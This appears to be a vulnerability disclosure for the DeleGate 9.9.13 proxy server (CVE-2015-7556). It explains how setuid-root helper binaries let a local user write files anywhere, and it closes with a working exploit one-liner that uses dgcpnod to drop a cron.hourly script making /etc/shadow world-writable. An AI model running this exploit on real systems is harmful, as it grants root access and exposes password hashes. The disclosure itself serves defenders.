Description: DeleGate is a multipurpose proxy server which relays 
various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, 
Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and 
more. DeleGate mediates communication between servers and clients where 
direct communication is impossible, inefficient, or inconvenient.

Vulnerability:
Installation of delegate 9.9.13 sets some binaries setuid root, at least 
one of these binaries can be used to escalate the privileges of a local 
user.  The binary dgcpnod creates a node allowing a local unprivileged 
user to create files anywhere on disk.   By creating a file in 
/etc/cron.hourly a local user can execute commands as root.

Installation of software via source or binary distribution with option 
to not run as root results in a script set-subin.sh to run setting the 
setuid bit on four binaries.  In Linux distributions where this software 
is part of the package list these binaries are not setuid root. (archlinux)

 From documentation http://www.delegate.org/delegate/newbies-ja.shtml 
(translated to english):
Go is included in the binary distribution, or DGROOT that you can build 
from the source to the location of preference, and then change the name 
if necessary. This is the DgRoot. In addition, if needed, you can rename 
the executable file of DeleGate to the name of the preference. This is 
the DgExe.
"In Unix version subin in if you want to use "(such as when using a 
privileged port), do the following.

   (3-2uk) $ cd DgRoot / subin
           $ Sh setup-subin.sh

larry@...lt:~/dg9_9_13/DGROOT/subin$ ls -l

-r-sr-s--- 1 root  larry 384598 Oct 31  2014 dgchroot
-r-sr-s--- 1 root  larry 384161 Oct 31  2014 dgcpnod

-rwxr-x--- 1 larry larry    272 Oct 27  2014 setup-subin.sh

This script sets the setuid bit on four binaries:

larry@...lt:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh
#!/bin/sh

SUBINS="dgpam dgbind dgchroot dgcpnod"
sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS"
if [ $? != 0 ]; then
   su root -c "chown root $SUBINS; chmod 6550 $SUBINS"
fi
CVEID: 2015-7556
Exploit Code:
$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme 
/etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' 
 > /etc/cron.hourly/rootme
